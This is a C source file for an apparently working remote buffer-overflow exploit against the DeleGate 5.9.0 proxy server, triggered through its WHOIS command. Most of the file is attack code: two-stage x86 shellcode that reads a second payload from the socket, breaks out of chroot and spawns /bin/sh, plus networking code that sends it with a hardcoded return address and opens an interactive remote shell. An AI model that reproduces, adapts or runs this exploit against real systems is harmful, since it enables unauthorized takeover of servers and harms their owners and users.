/*
 *  DeleGate 5.9.0 remote overflow
 *  
 *  Notes about this exploit:
 *   - We can predict the sockfd in use with a reasonable degree of
 *     accuracy. In most cases, it's 12 (hence #define SOCKFD 0x0c).
 *     I've seen it as 13, though.
 *   - The ASM src to the shellcode is included in the comments. It's
 *     not overly optimized.
 *   - On lagged links, you may need to alter the DELAY #define. 
 *
 *  Credits:
 *   - The read() shellcode is derived from an idea posted to Bugtraq 
 *     in 1998 (to do with exploiting mpg123). The author wrote:
 *       `As would a routine that reads X more bytes from the 
 *        still open filedescriptor..`
 *   - Thanks to ABR for finding the overflow and writing the initial
 *     test (mkdir()'s an arbitrary directory) exploit.
 *
 *  Any questions or comments (or criticisms), feel free to email me.
 *
 *  anathema <anathema@box.co.uk>
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define DELAY      2
#define ADDR      0xbfffe501
#define RETPOS      260
#define SHFD_OFFSET    5
#define RDFD_OFFSET    252
/*
 *  We can predict the socket descriptor in use with a reasonable
 *  degree of accuracy.
 */
#define SOCKFD      0x0c

/*
 *  The overflow occurs while parsing the WHOIS command.
 */
char prepend_str[] = "whois://";

/*
 *  Shellcode to read() 256 bytes from the socket descriptor 
 *  referenced by the #define SOCKFD. We replace the 0xff byte 
 *  from movb $0xff, %bl with the SOCKFD define value in main().
 */
char readcode[] = 
/* main: */
"\xeb\x03"                             /* jmp callz                 */
/* start0: */
"\x5e"                                 /* popl %esi                 */
"\xeb\x05"                             /* jmp start                 */
/* callz: */
"\xe8\xf8\xff\xff\xff"                 /* call start0               */
/* start: */
"\x29\xc0"                             /* subl %eax, %eax           */
"\xb0\x80"                             /* movb $0x80, %al           */
"\x29\xdb"                             /* subl %ebx, %ebx           */
"\x43"                                 /* incl %ebx                 */
"\x43"                                 /* incl %ebx                 */
"\x8d\x4e\x10"                         /* leal 0x10(%esi), %ecx     */
"\xf7\xeb"                             /* imul %ebx                 */
"\x29\xdb"                             /* subl %ebx, %ebx           */
"\xb3\xff"                             /* movb $SOCK_FD, %bl        */
"\x92"                                 /* xchgl %eax, %edx          */
"\x29\xc0"                             /* subl %eax, %eax           */
"\xb0\x03"                             /* movb $0x03, %al           */
"\xcd\x80";                            /* int $0x80                 */

/*
 *  The `real` shellcode. We must dup2() stdin, stdout and stderr
 *  to the socket descriptor, or else you will spawn an interactive
 *  shell at the controlling terminal ;)
 */
char c0de[] = 
/* main: */
"\x29\xc0"                             /* subl %eax, %eax           */
"\x29\xdb"                             /* subl %ebx, %ebx           */
"\xb3\xff"                             /* movb $SOCK_FD, %bl        */
"\xb0\x3f"                             /* movb $0x3f, %al           */
"\x29\xc9"                             /* subl %ecx, %ecx           */
"\xcd\x80"                             /* int $0x80                 */
"\xb0\x3f"                             /* movb $0x3f, %al           */
"\x41"                                 /* incl %ecx                 */
"\xcd\x80"                             /* int $0x80                 */
"\xb0\x3f"                             /* movb $0x3f, %al           */
"\x41"                                 /* incl %ecx                 */
"\xcd\x80"                             /* int $0x80                 */
"\xeb\x66"                             /* jmp callz                 */

/* start: */
/*
 *  Now we must break chroot().
 *  We do this by creating a temporary directory with mkdir(), chroot()
 *  to that temporary directory, perform multiple chdir() calls to the
 *  parent directory and finally a chroot() to the current directory, 
 *  which should be the real root directory.
 *
 *  We use a straightforward loop to perform the multiple chdir() calls.
 */
"\x5e"                                 /* popl %esi                 */
"\x29\xc0"                             /* subl %eax, %eax           */
"\x8d\x5e\x0d"                         /* leal 0x0d(%esi), %ebx     */
"\x88\x46\x04"                         /* movb %al, 0x04(%esi)      */
"\x66\xb9\xff\x01"                     /* movw $0x1ff, %cx          */
"\xb0\x27"                             /* movb $0x27, %al           */
"\xcd\x80"                             /* int $0x80                 */

"\x29\xc0"                             /* subl %eax, %eax           */
"\x8d\x5e\x0d"                         /* leal 0x0d(%esi), %ebx     */
"\xb0\x3d"                             /* movb $0x3d, %al           */
"\xcd\x80"                             /* int $0x80                 */

"\x29\xc0"                             /* subl %eax, %eax           */
"\x29\xdb"                             /* subl %ebx, %ebx           */
"\x29\xc9"                             /* subl %ecx, %ecx           */
"\x8d\x5e\x08"                         /* leal 0x08(%esi), %ebx     */
"\x89\x43\x02"                         /* movl %eax, 0x02(%ebx)     */
"\xb1\x14"                             /* movb $0x14, %cl           */
   
/* chdir_loop: */
"\x29\xc0"                             /* subl %eax, %eax           */
"\x8d\x5e\x08"                         /* leal 0x08(%esi), %ebx     */
"\xb0\x0c"                             /* movb $0x0c, %al           */
"\xcd\x80"                             /* int $0x80                 */
"\x49"                                 /* decl %ecx                 */
"\x08\xc9"                             /* orb %cl, %cl              */
"\x75\xf2"                             /* jnz chdir_loop            */

"\x29\xc0"                             /* subl %eax, %eax           */
"\x88\x46\x09"                         /* movb %al, 0x09(%esi)      */
"\x8d\x5e\x08"                         /* leal 0x08(%esi), %ebx     */
"\xb0\x3d"                             /* movb $0x3d, %al           */
"\xcd\x80"                             /* int $0x80                 */

/*
 *  We've broken chroot, now we can execve() /bin/sh. We've 
 *  already dup2()'d stdin, stdout and stderr to the sockfd.
 */
"\x29\xc0"                             /* subl %eax, %eax           */
"\xb0\x2e"                             /* movb $0x2e, %al           */
"\x40"                                 /* incl %eax                 */
"\x88\x46\x04"                         /* movb %al, 0x04(%esi)      */
"\x29\xc0"                             /* subl %eax, %eax           */
"\x88\x46\x07"                         /* movb %al, 0x07(%esi)      */
"\x89\x76\x08"                         /* movl %esi, 0x08(%esi)     */
"\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)     */
"\x87\xf3"                             /* xchgl %esi, %ebx          */
"\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx     */
"\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx     */
"\xb0\x0b"                             /* movb $0x0b, %al           */
"\xcd\x80"                             /* int $0x80                 */

/* exit(). Not really necessary. */
"\x29\xc0"                             /* subl %eax, %eax           */
"\x40"                                 /* incl %eax                 */
"\xcd\x80"                             /* int $0x80                 */

/* callz: */
"\xe8\x95\xff\xff\xff"                 /* call start                */

"\x2f\x62\x69\x6e\x2f\x73\x68"          /* /bin/sh for execve               */
"\x31\x2e\x2e\x31\x31\x2e\x62\x69\x6e"; /* strings for mk/chdir(), chroot() */

u_long
resolve_host(u_char *host)
{
    struct in_addr addr;
    struct hostent *host_ent;
    
    if ((addr.s_addr = inet_addr(host)) == -1)
    {
  host_ent = gethostbyname(host);
  if (!host_ent) return((u_long)0);
  memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }
    
    return(addr.s_addr);
}

void
connect_shell(int sock)
{
    u_char sock_buf[8192]  = {0};
    fd_set fds;
    
    write(sock, "\n\nuname -a; id;\n", 16);
    for (;;)
    {
  FD_ZERO(&fds);
  FD_SET(0, &fds);  /* STDIN_FILENO */
  FD_SET(sock, &fds);
  
  if (select(0xff, &fds, NULL, NULL, NULL) == -1)
  {
      perror("select choked");
      exit(-1);
  }
  
  memset(sock_buf, 0, sizeof(sock_buf));
  
  if (FD_ISSET(sock, &fds))
  {
      if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
      {
    fprintf(stderr, "Connection closed by foreign host.\n");
    exit(0);
      }
      
      fprintf(stderr, "%s", sock_buf);
  }
  
  if (FD_ISSET(0, &fds))
  {
      read(0, sock_buf, sizeof(sock_buf) - 1);
      write(sock, sock_buf, strlen(sock_buf));
  }
    }
    
    /* NOTREACHED */
}

int
create_socket(u_long dst_ip, u_short src_prt, u_short dst_prt)
{
    struct sockaddr_in sin;
    int sock;
    
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == -1)
    {
  perror("socket allocation");
  exit(-1);
    }
    
    if (src_prt) 
    {
  struct sockaddr_in min;
  int one = 1, *o_ptr = &one;
  /*
   *  A source port has been specified. Note that we should set
   *  SO_REUSEADDR on the socket so future exploit attempts 
   *  utilising the same source port are possible.
   */
  if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_ptr, 
        sizeof(one)) == -1)
  {
      perror("setsockopt SO_REUSEADDR");
      exit(-1);
  }
  
  min.sin_family = AF_INET;
  min.sin_port   = htons(src_prt);
  min.sin_addr.s_addr = INADDR_ANY;
  
  if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1)
  {
      perror("bind");
      exit(-1);
  }
    }
    
    sin.sin_family = AF_INET;
    sin.sin_port   = htons(dst_prt);
    sin.sin_addr.s_addr = dst_ip;
    
    if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
  perror("connecting to delegate server");
  exit(-1);
    }
    
    return(sock);
}

void
usage(u_char *nomenclature)
{
    fprintf(stderr, "\nusage:\t%s dst_host|ip [src_prt] dst_prt\n\n", 
      nomenclature);
    exit(0);
}

int
main(int argc, char **argv)
{
    u_char buf[4096] = {0};
    u_long addr      = ADDR;
    u_long dst_ip    = 0;
    u_short src_prt  = 0, dst_prt = 0;
    int sock, ret = RETPOS;
    int i = 0, j = 0;
    
    fprintf(stderr, "\nDeleGate 5.9.0 remote overflow\n"
              "anathema <anathema@box.co.uk>\n");
    
    if (argc != 3 && argc != 4)
    {
  usage(argv[0]);
  /* NOTREACHED */
    }
    
    dst_ip   = resolve_host(argv[1]);
    if (!dst_ip)
    {
  fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
  exit(-1);
    }
    
    if (argc == 4) 
    {
  src_prt = (u_short)atoi(argv[2]);
  dst_prt = (u_short)atoi(argv[3]);
    }
    else
    {
  dst_prt = (u_short)atoi(argv[2]);
    }
    
    sock = create_socket(dst_ip, src_prt, dst_prt);

    memset(buf, 0x90, ret - strlen(readcode));
    memcpy(buf, prepend_str, strlen(prepend_str));
    memcpy(buf + ret - strlen(readcode), readcode, strlen(readcode));
    
    buf[ret++] = (addr & 0xff);
    buf[ret++] = (addr >> 8) & 0xff;
    buf[ret++] = (addr >> 16) & 0xff;
    buf[ret++] = (addr >> 24) & 0xff;
    
    buf[RDFD_OFFSET] = SOCKFD;
    memcpy(buf + ret, "\r\n", 2);     
  
    if (write(sock, buf, strlen(buf)) != strlen(buf))
    {
  fprintf(stderr, "err: truncated write() (0x01)\n");
  exit(-1);
    }
    
    memset(buf, 0, sizeof(buf));
    
    c0de[SHFD_OFFSET]  = SOCKFD;
    memset(buf, 0x90, 0x0f);
    memcpy(buf + 0x0f, c0de, strlen(c0de));
    memcpy(buf + 0x0f + strlen(c0de), "\0\r\n", 3);
    
    if (write(sock, buf, strlen(buf)) != strlen(buf))
    {
  fprintf(stderr, "err: truncated write() (0x02)\n");
  exit(-1);
    }
    
    fprintf(stderr, "\nIt'z time to w8\n\n");
    
    sleep(DELAY);
    connect_shell(sock);
}

/* EOF */